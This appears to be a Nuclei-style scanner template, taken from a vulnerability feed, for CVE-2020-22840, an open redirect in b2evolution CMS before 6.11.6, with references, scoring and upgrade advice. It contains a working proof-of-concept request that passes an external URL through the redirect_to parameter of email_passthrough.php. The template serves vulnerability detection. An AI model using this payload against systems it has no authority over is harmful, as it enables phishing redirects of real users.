b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: CVE-2020-22840
info:
name: b2evolution CMS <6.11.6 - Open Redirect
author: geeknik
severity: medium
description: b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
impact: |
This vulnerability can be exploited by attackers to trick users into visiting malicious websites, potentially leading to phishing attacks, malware infections, or unauthorized access to sensitive information.
remediation: |
Upgrade b2evolution CMS to version 6.11.6 or later to mitigate the open redirect vulnerability (CVE-2020-22840).
reference:
- https://github.com/b2evolution/b2evolution/issues/102
- http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html
- https://www.exploit-db.com/exploits/49554
- https://nvd.nist.gov/vuln/detail/CVE-2020-22840
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2020-22840
cwe-id: CWE-601
epss-score: 0.29266
epss-percentile: 0.96441
cpe: cpe:2.3:a:b2evolution:b2evolution:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: b2evolution
product: b2evolution
tags: cve,cve2020,packetstorm,edb,redirect,b2evolution
http:
- method: GET
path:
- "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh"
matchers:
- type: regex
part: header
regex:
- '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$'
# digest: 4b0a00483046022100b03aec942ae1d7eeade4245e3ac7747ad8f01f59b7ad75e8b8d310d15c72c056022100c053f7f862d35502791cac9adb5a932cb80dcffc65b16871d01ad4349a72fa18:922c64590222798bb761d5b6d8e72950